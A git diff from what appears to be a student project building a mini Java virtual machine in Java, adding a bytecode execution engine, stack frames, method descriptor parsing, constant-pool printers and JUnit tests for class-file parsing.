@@ -0,0 +1,28 @@
+package com.pan.jvm.engine;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+
+import com.pan.jvm.loader.ClassFileLoader;
+
+
+public class MiniJVM {
+	
+	public void run(String[]classPaths , String className) throws FileNotFoundException, IOException{
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		for(int i=0;i<classPaths.length ; i++){
+			loader.addClassPath(classPaths[i]);
+		}
+		
+		MethodArea methodArea= MethodArea.getInstance();
+		
+		methodArea.setClassFileLoader(loader);
+		
+		ExecutorEngine engine = new ExecutorEngine();
+		
+		className = className.replace(".", "/");
+		
+		engine.execute(methodArea.getMainMethod(className));
+	}
+	
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/OperandStack.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/OperandStack.java
new file mode 100644
index 0000000000..9da771cc13
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/OperandStack.java
@@ -0,0 +1,26 @@
+package com.pan.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class OperandStack {
+	private List<JavaObject> operands = new ArrayList<JavaObject>();
+	
+	public void push(JavaObject jo){
+		operands.add(jo);
+	}
+	public JavaObject pop(){
+		int index = size()-1;
+		JavaObject jo = (JavaObject)operands.get(index);
+		operands.remove(index);
+		return jo;
+		
+	}
+	public JavaObject top(){
+		int index = size()-1;
+		return (JavaObject)operands.get(index);
+	}
+	public int size(){
+		return operands.size();		
+	}
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/StackFrame.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/StackFrame.java
new file mode 100644
index 0000000000..6603e1e1d1
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/StackFrame.java
@@ -0,0 +1,131 @@
+package com.pan.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.pan.jvm.cmd.ByteCodeCommand;
+import com.pan.jvm.method.Method;
+
+public class StackFrame {
+	
+	private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
+	private Stack<JavaObject> oprandStack = new Stack<JavaObject>();
+	
+	int index = 0;
+	
+	private Method m = null;
+	
+	private StackFrame callerFrame = null;
+	
+	public StackFrame getCallerFrame() {
+		return callerFrame;
+	}
+
+	public void setCallerFrame(StackFrame callerFrame) {
+		this.callerFrame = callerFrame;
+	}
+
+	
+	
+	
+	public static  StackFrame create(Method m){
+		
+		StackFrame frame = new StackFrame( m );			
+		
+		return frame;
+	}
+
+	
+	private StackFrame(Method m) {		
+		this.m = m;
+		
+	}
+	
+	
+	
+	public JavaObject getLocalVariableValue(int index){
+		return this.localVariableTable.get(index);
+	}
+	
+	public Stack<JavaObject> getOprandStack(){
+		return this.oprandStack;
+	}
+	
+	public int getNextCommandIndex(int offset){
+		
+		ByteCodeCommand [] cmds = m.getCodeAttr().getCmds();
+		for(int i=0;i<cmds.length; i++){
+			if(cmds[i].getOffset() == offset){
+				return i;
+			}
+		}
+		throw new RuntimeException("Can't find next command");
+	}
+	
+	public ExecutionResult execute(){
+		
+				
+		ByteCodeCommand [] cmds = m.getCmds();
+		
+		while(index<cmds.length){
+			
+			ExecutionResult result = new ExecutionResult();	
+			//缺省值是执行下一条命令
+			result.setNextAction(ExecutionResult.RUN_NEXT_CMD);
+			
+			System.out.println(cmds[index].toString());
+			
+			cmds[index].execute(this,result);
+			
+			if(result.isRunNextCmd()){
+				index++;
+			}
+			else if(result.isExitCurrentFrame()){
+				return result;
+			}
+			else if(result.isPauseAndRunNewFrame()){
+				index++;
+				return result;
+			}					
+			else if(result.isJump()){
+				int offset = result.getNextCmdOffset();
+				this.index = getNextCommandIndex(offset);
+			} else{
+				index++;
+			}
+			
+		}
+		
+		//当前StackFrmae的指令全部执行完毕，可以退出了
+		ExecutionResult result = new ExecutionResult();
+		result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+		return result;
+		
+	}
+
+	
+	
+	
+	public void setLocalVariableTable(List<JavaObject> values){
+		this.localVariableTable = values;	
+	}
+	
+	public void setLocalVariableValue(int index, JavaObject jo){
+		//问题： 为什么要这么做？？
+		if(this.localVariableTable.size()-1 < index){
+			for(int i=this.localVariableTable.size(); i<=index; i++){
+				this.localVariableTable.add(null);
+			}
+		}
+		this.localVariableTable.set(index, jo);
+		
+		
+	}
+	
+	public Method getMethod(){
+		return m;
+	}
+	
+
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/method/Method.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/method/Method.java
index 0fbb0f0946..0c0510426e 100644
--- a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/method/Method.java
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/method/Method.java
@@ -4,8 +4,13 @@
 import com.pan.jvm.attr.AttributeInfo;
 import com.pan.jvm.attr.CodeAttr;
 import com.pan.jvm.clz.ClassFile;
+import com.pan.jvm.cmd.ByteCodeCommand;
+import com.pan.jvm.constant.UTF8Info;
 import com.pan.jvm.loader.ByteCodeIterator;
 
+import java.util.ArrayList;
+import java.util.List;
+
 public class Method {
 	
 	private int accessFlag;
@@ -68,4 +73,71 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		return method;
 		
 	}
+
+
+	public ByteCodeCommand[] getCmds() {
+		return this.getCodeAttr().getCmds();
+	}
+
+	private String getParamAndReturnType(){
+		UTF8Info nameAndTypeInfo = (UTF8Info)this.getClzFile()
+				.getConstantPool().getConstantInfo(this.getDescriptorIndex());
+		return nameAndTypeInfo.getValue();
+	}
+	public List<String> getParameterList(){
+
+		// e.g. (Ljava/util/List;Ljava/lang/String;II)V
+		String paramAndType = getParamAndReturnType();
+
+		int first = paramAndType.indexOf("(");
+		int last = paramAndType.lastIndexOf(")");
+		// e.g. Ljava/util/List;Ljava/lang/String;II
+		String param = paramAndType.substring(first+1, last);
+
+		List<String> paramList = new ArrayList<String>();
+
+		if((null == param) || "".equals(param)){
+			return paramList;
+		}
+
+		while(!param.equals("")){
+
+			int pos = 0;
+			// 这是一个对象类型
+			if(param.charAt(pos) == 'L'){
+
+				int end = param.indexOf(";");
+
+				if(end == -1){
+					throw new RuntimeException("can't find the ; for a object type");
+				}
+				paramList.add(param.substring(pos+1,end));
+
+				pos = end + 1;
+
+			}
+			else if(param.charAt(pos) == 'I'){
+				// int
+				paramList.add("I");
+				pos ++;
+
+			}
+			else if(param.charAt(pos) == 'F'){
+				// float
+				paramList.add("F");
+				pos ++;
+
+			} else{
+				throw new RuntimeException("the param has unsupported type:" + param);
+			}
+
+			param = param.substring(pos);
+
+		}
+		return paramList;
+
+	}
+
+
+
 }
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/print/ClassFilePrinter.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..1d2d966358
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,54 @@
+package com.pan.jvm.print;
+
+import com.pan.jvm.clz.ClassFile;
+import com.pan.jvm.constant.ClassInfo;
+import com.pan.jvm.constant.ConstantInfo;
+import com.pan.jvm.constant.ConstantPool;
+import com.pan.jvm.constant.FieldRefInfo;
+import com.pan.jvm.constant.MethodRefInfo;
+import com.pan.jvm.constant.NameAndTypeInfo;
+
+import com.pan.jvm.constant.StringInfo;
+import com.pan.jvm.constant.UTF8Info;
+import com.pan.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMinorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\answer\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.pan.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/print/ConstantPoolPrinter.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..29d6416874
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,83 @@
+package com.pan.jvm.print;
+
+import com.pan.jvm.constant.ClassInfo;
+import com.pan.jvm.constant.ConstantInfo;
+import com.pan.jvm.constant.ConstantPool;
+import com.pan.jvm.constant.FieldRefInfo;
+import com.pan.jvm.constant.MethodRefInfo;
+import com.pan.jvm.constant.NameAndTypeInfo;
+import com.pan.jvm.constant.StringInfo;
+import com.pan.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		ConstantInfo.Visitor visitor = new ConstantInfo.Visitor() {
+			
+			@Override
+			public void visitString(StringInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("String    #").append(info.getIndex());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitNameAndType(NameAndTypeInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("NameAndType    #").append(info.getIndex1()).append(":#")
+				.append(info.getIndex2());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitMethodRef(MethodRefInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("MethodRef    #").append(info.getClassInfoIndex()).append(".#")
+				.append(info.getNameAndTypeIndex());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitFieldRef(FieldRefInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("FieldRef    #").append(info.getClassInfoIndex()).append(".#")
+				.append(info.getNameAndTypeIndex());
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visitClassInfo(ClassInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("Class    #").append(info.getUtf8Index())
+				.append("  ").append(info.getClassName());
+				
+				System.out.println(buffer);
+				
+			}
+			
+			@Override
+			public void visistUTF8(UTF8Info info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("UTF8    ").append(info.getValue());
+				System.out.println(buffer);
+				
+			}
+		};
+		
+		for(int i=1; i<=pool.getSize(); i++){
+			ConstantInfo constantInfo = pool.getConstantInfo(i);
+			System.out.print("#"+i+"=");
+			constantInfo.accept(visitor);			
+		}
+	}
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/print/ConstantPoolPrinterBad.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/print/ConstantPoolPrinterBad.java
new file mode 100644
index 0000000000..8d703f83f7
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/print/ConstantPoolPrinterBad.java
@@ -0,0 +1,40 @@
+package com.pan.jvm.print;
+
+import com.pan.jvm.constant.ClassInfo;
+import com.pan.jvm.constant.ConstantInfo;
+import com.pan.jvm.constant.ConstantPool;
+import com.pan.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinterBad {
+	ConstantPool pool;
+	ConstantPoolPrinterBad(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");		
+		
+		for(int i=1; i<=pool.getSize(); i++){
+			ConstantInfo cnstInfo = pool.getConstantInfo(i);
+			
+			System.out.print("#"+i+"=");
+			if(cnstInfo instanceof ClassInfo){
+				ClassInfo info = (ClassInfo)cnstInfo;
+				// Class    #2  com/pan/jvm/test/EmployeeV1
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("Class    #").append(info.getUtf8Index())
+				.append("  ").append(info.getClassName());
+				
+				System.out.println(buffer);
+			}
+			if(cnstInfo instanceof UTF8Info){
+				//UTF8    com/pan/jvm/test/EmployeeV1
+				UTF8Info info = (UTF8Info)cnstInfo;
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("UTF8    ").append(info.getValue());
+				System.out.println(buffer);
+			}
+			//其他的if else
+		}
+	}
+}
diff --git a/group11/252308879/mini-jvm/src/test/java/com/pan/MapForEachTest.java b/group11/252308879/mini-jvm/src/test/java/com/pan/MapForEachTest.java
deleted file mode 100644
index 9170ba4f49..0000000000
--- a/group11/252308879/mini-jvm/src/test/java/com/pan/MapForEachTest.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.pan;
-
-import org.junit.Test;
-
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * Created by QiPan on 2017/4/19.
- */
-public class MapForEachTest {
-
-    @Test
-    public void  testForEach(){
-
-        Map<Integer, Integer> map = new HashMap<>();
-        map.put(1, 11);
-        map.put(2, 22);
-        map.put(3, 33);
-
-        Map<Integer, String> map2 = new HashMap<>();
-        map.forEach((key, value) -> map2.put(key, value.toString()));
-
-        System.out.println(map2);
-
-
-
-    }
-
-}
diff --git a/group11/252308879/mini-jvm/src/test/java/com/pan/jvm/ClassFileLoaderTest.java b/group11/252308879/mini-jvm/src/test/java/com/pan/jvm/ClassFileLoaderTest.java
index d341553c70..79cda03ea3 100644
--- a/group11/252308879/mini-jvm/src/test/java/com/pan/jvm/ClassFileLoaderTest.java
+++ b/group11/252308879/mini-jvm/src/test/java/com/pan/jvm/ClassFileLoaderTest.java
@@ -4,255 +4,331 @@
 
 import com.pan.jvm.clz.ClassFile;
 import com.pan.jvm.clz.ClassIndex;
+import com.pan.jvm.cmd.BiPushCmd;
+import com.pan.jvm.cmd.ByteCodeCommand;
+import com.pan.jvm.cmd.OneOperandCmd;
+import com.pan.jvm.cmd.TwoOperandCmd;
 import com.pan.jvm.constant.*;
 import com.pan.jvm.field.Field;
 import com.pan.jvm.loader.ClassFileLoader;
 import com.pan.jvm.method.Method;
 import com.pan.jvm.util.Util;
 import org.junit.After;
-import  org.junit.Assert;
+import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 
 
+public class ClassFileLoaderTest {
 
 
+    private static final String FULL_QUALIFIED_CLASS_NAME = "com/pan/jvm/EmployeeV1";
 
+    static String path1 = EmployeeV1.class.getClassLoader().getResource("").getPath()
+            .replace("test-classes", "classes");
+    static String path2 = "C:/temp";
+
+    static ClassFile clzFile = null;
+
+    static {
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String className = "com.pan.jvm.EmployeeV1";
+
+        clzFile = loader.loadClass(className);
+        clzFile.print();
+    }
+
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testClassPath() {
+
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        loader.addClassPath(path2);
+
+        String clzPath = loader.getClassPath();
+
+        Assert.assertEquals(path1 + ";" + path2, clzPath);
+
+    }
+
+    @Test
+    public void testClassFileLength() {
+
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+
+        String className = "com.pan.jvm.EmployeeV1";
+
+        byte[] byteCodes = loader.readBinaryCode(className);
+
+        // 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+        Assert.assertEquals(1032, byteCodes.length);
+
+    }
+
+
+    @Test
+    public void testMagicNumber() {
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String className = "com.pan.jvm.EmployeeV1";
+        byte[] byteCodes = loader.readBinaryCode(className);
+        byte[] codes = new byte[]{byteCodes[0], byteCodes[1], byteCodes[2], byteCodes[3]};
+
+
+        String actualValue = Util.byteToHexString(codes);
+
+        Assert.assertEquals("cafebabe", actualValue);
+    }
 
-public class ClassFileLoaderTest {
 
-	
-	private static final String FULL_QUALIFIED_CLASS_NAME = "com/pan/jvm/EmployeeV1";
-	
-	static String path1 = EmployeeV1.class.getClassLoader().getResource("").getPath()
-			.replace("test-classes", "classes");
-	static String path2 = "C:/temp";
-	
-	static ClassFile clzFile = null;
-	static {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.pan.jvm.EmployeeV1";
-
-		clzFile = loader.loadClass(className);
-		clzFile.print();
-	}
-
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.pan.jvm.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1032, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.pan.jvm.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String actualValue = Util.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", actualValue);
-	}
-
-    
     /**
      * ----------------------------------------------------------------------
      */
 
 
     @Test
-    public void testVersion(){
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(52, clzFile.getMajorVersion());
+    public void testVersion() {
+        Assert.assertEquals(0, clzFile.getMinorVersion());
+        Assert.assertEquals(52, clzFile.getMajorVersion());
     }
 
     @Test
-    public void testConstantPool(){
-
-
-		ConstantPool pool = clzFile.getConstantPool();
-
-		Assert.assertEquals(53, pool.getSize());
-
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-			Assert.assertEquals(2, clzInfo.getUtf8Index());
-
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-		}
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-			Assert.assertEquals(4, clzInfo.getUtf8Index());
-
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-		}
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-			Assert.assertEquals("name", utf8Info.getValue());
-
-			utf8Info = (UTF8Info) pool.getConstantInfo(6);
-			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-
-			utf8Info = (UTF8Info) pool.getConstantInfo(7);
-			Assert.assertEquals("age", utf8Info.getValue());
-
-			utf8Info = (UTF8Info) pool.getConstantInfo(8);
-			Assert.assertEquals("I", utf8Info.getValue());
-
-			utf8Info = (UTF8Info) pool.getConstantInfo(9);
-			Assert.assertEquals("<init>", utf8Info.getValue());
-
-			utf8Info = (UTF8Info) pool.getConstantInfo(10);
-			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-
-			utf8Info = (UTF8Info) pool.getConstantInfo(11);
-			Assert.assertEquals("Code", utf8Info.getValue());
-		}
-
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-			Assert.assertEquals(3, methodRef.getClassInfoIndex());
-			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-		}
-
-		{
-			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-			Assert.assertEquals(9, nameAndType.getIndex1());
-			Assert.assertEquals(14, nameAndType.getIndex2());
-		}
-		//抽查几个吧
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-			Assert.assertEquals(1, methodRef.getClassInfoIndex());
-			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-		}
-
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-		}
+    public void testConstantPool() {
+
+
+        ConstantPool pool = clzFile.getConstantPool();
+
+        Assert.assertEquals(53, pool.getSize());
+
+        {
+            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+            Assert.assertEquals(2, clzInfo.getUtf8Index());
+
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+            Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+        }
+        {
+            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+            Assert.assertEquals(4, clzInfo.getUtf8Index());
+
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+            Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+        }
+        {
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+            Assert.assertEquals("name", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(6);
+            Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(7);
+            Assert.assertEquals("age", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(8);
+            Assert.assertEquals("I", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(9);
+            Assert.assertEquals("<init>", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(10);
+            Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(11);
+            Assert.assertEquals("Code", utf8Info.getValue());
+        }
+
+        {
+            MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(12);
+            Assert.assertEquals(3, methodRef.getClassInfoIndex());
+            Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+        }
+
+        {
+            NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+            Assert.assertEquals(9, nameAndType.getIndex1());
+            Assert.assertEquals(14, nameAndType.getIndex2());
+        }
+        //抽查几个吧
+        {
+            MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(45);
+            Assert.assertEquals(1, methodRef.getClassInfoIndex());
+            Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+        }
+
+        {
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+            Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+        }
     }
+
     @Test
-    public void testClassIndex(){
+    public void testClassIndex() {
 
-    	ClassIndex clzIndex = clzFile.getClzIndex();
-    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+        ClassIndex clzIndex = clzFile.getClzIndex();
+        ClassInfo thisClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+        ClassInfo superClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
 
 
-    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+        Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+        Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
     }
 
     /**
      * 下面是第三次JVM课应实现的测试用例
      */
     @Test
-    public void testReadFields(){
-
-    	List<Field> fields = clzFile.getFields();
-    	Assert.assertEquals(2, fields.size());
-    	{
-    		Field f = fields.get(0);
-    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-    	}
-    	{
-    		Field f = fields.get(1);
-    		Assert.assertEquals("age:I", f.toString());
-    	}
+    public void testReadFields() {
+
+        List<Field> fields = clzFile.getFields();
+        Assert.assertEquals(2, fields.size());
+        {
+            Field f = fields.get(0);
+            Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+        }
+        {
+            Field f = fields.get(1);
+            Assert.assertEquals("age:I", f.toString());
+        }
+    }
+
+    @Test
+    public void testMethods() {
+
+        List<Method> methods = clzFile.getMethods();
+        ConstantPool pool = clzFile.getConstantPool();
+
+        {
+            Method m = methods.get(0);
+            assertMethodEquals(pool, m,
+                    "<init>",
+                    "(Ljava/lang/String;I)V",
+                    "2ab7000c2a2bb5000f2a1cb50011b1");
+
+        }
+        {
+            Method m = methods.get(1);
+            assertMethodEquals(pool, m,
+                    "setName",
+                    "(Ljava/lang/String;)V",
+                    "2a2bb5000fb1");
+
+        }
+        {
+            Method m = methods.get(2);
+            assertMethodEquals(pool, m,
+                    "setAge",
+                    "(I)V",
+                    "2a1bb50011b1");
+        }
+        {
+            Method m = methods.get(3);
+            assertMethodEquals(pool, m,
+                    "sayHello",
+                    "()V",
+                    "b2001c1222b60024b1");
+
+        }
+        {
+            Method m = methods.get(4);
+            assertMethodEquals(pool, m,
+                    "main",
+                    "([Ljava/lang/String;)V",
+                    "bb000159122b101db7002d4c2bb6002fb1");
+        }
+    }
+
+    private void assertMethodEquals(ConstantPool pool, Method m, String expectedName, String expectedDesc, String expectedCode) {
+        String methodName = pool.getUTF8String(m.getNameIndex());
+        String methodDesc = pool.getUTF8String(m.getDescriptorIndex());
+        String code = m.getCodeAttr().getCode();
+        Assert.assertEquals(expectedName, methodName);
+        Assert.assertEquals(expectedDesc, methodDesc);
+        Assert.assertEquals(expectedCode, code);
     }
+
     @Test
-    public void testMethods(){
-   
-    	List<Method> methods = clzFile.getMethods();
-    	ConstantPool pool = clzFile.getConstantPool();
-    	
-    	{
-    		Method m = methods.get(0);    		
-    		assertMethodEquals(pool,m,
-    				"<init>",
-    				"(Ljava/lang/String;I)V",
-    				"2ab7000c2a2bb5000f2a1cb50011b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(1);    
-    		assertMethodEquals(pool,m,
-    				"setName",
-    				"(Ljava/lang/String;)V",
-    				"2a2bb5000fb1");
-    		
-    	}
-    	{
-    		Method m = methods.get(2);    
-    		assertMethodEquals(pool,m,
-    				"setAge",
-    				"(I)V",
-    				"2a1bb50011b1");
-    	}
-    	{
-    		Method m = methods.get(3); 
-    		assertMethodEquals(pool,m,
-    				"sayHello",
-    				"()V",
-    				"b2001c1222b60024b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(4);    
-    		assertMethodEquals(pool,m,
-    				"main",
-    				"([Ljava/lang/String;)V",
-    				"bb000159122b101db7002d4c2bb6002fb1");
-    	}
+    public void testByteCodeCommand() {
+        {
+            Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+            ByteCodeCommand[] cmds = initMethod.getCmds();
+
+            assertOpCodeEquals("0: aload_0", cmds[0]);
+            assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+            assertOpCodeEquals("4: aload_0", cmds[2]);
+            assertOpCodeEquals("5: aload_1", cmds[3]);
+            assertOpCodeEquals("6: putfield #15", cmds[4]);
+            assertOpCodeEquals("9: aload_0", cmds[5]);
+            assertOpCodeEquals("10: iload_2", cmds[6]);
+            assertOpCodeEquals("11: putfield #17", cmds[7]);
+            assertOpCodeEquals("14: return", cmds[8]);
+        }
+
+        {
+            Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+            ByteCodeCommand[] cmds = setNameMethod.getCmds();
+
+            assertOpCodeEquals("0: aload_0", cmds[0]);
+            assertOpCodeEquals("1: aload_1", cmds[1]);
+            assertOpCodeEquals("2: putfield #15", cmds[2]);
+            assertOpCodeEquals("5: return", cmds[3]);
+
+        }
+
+        {
+            Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+            ByteCodeCommand[] cmds = sayHelloMethod.getCmds();
+
+            assertOpCodeEquals("0: getstatic #28", cmds[0]);
+            assertOpCodeEquals("3: ldc #34", cmds[1]);
+            assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+            assertOpCodeEquals("8: return", cmds[3]);
+
+        }
+
+        {
+            Method mainMethod = this.clzFile.getMainMethod();
+
+            ByteCodeCommand[] cmds = mainMethod.getCmds();
+
+            assertOpCodeEquals("0: new #1", cmds[0]);
+            assertOpCodeEquals("3: dup", cmds[1]);
+            assertOpCodeEquals("4: ldc #43", cmds[2]);
+            assertOpCodeEquals("6: bipush 29", cmds[3]);
+            assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+            assertOpCodeEquals("11: astore_1", cmds[5]);
+            assertOpCodeEquals("12: aload_1", cmds[6]);
+            assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+            assertOpCodeEquals("16: return", cmds[8]);
+        }
+
     }
 
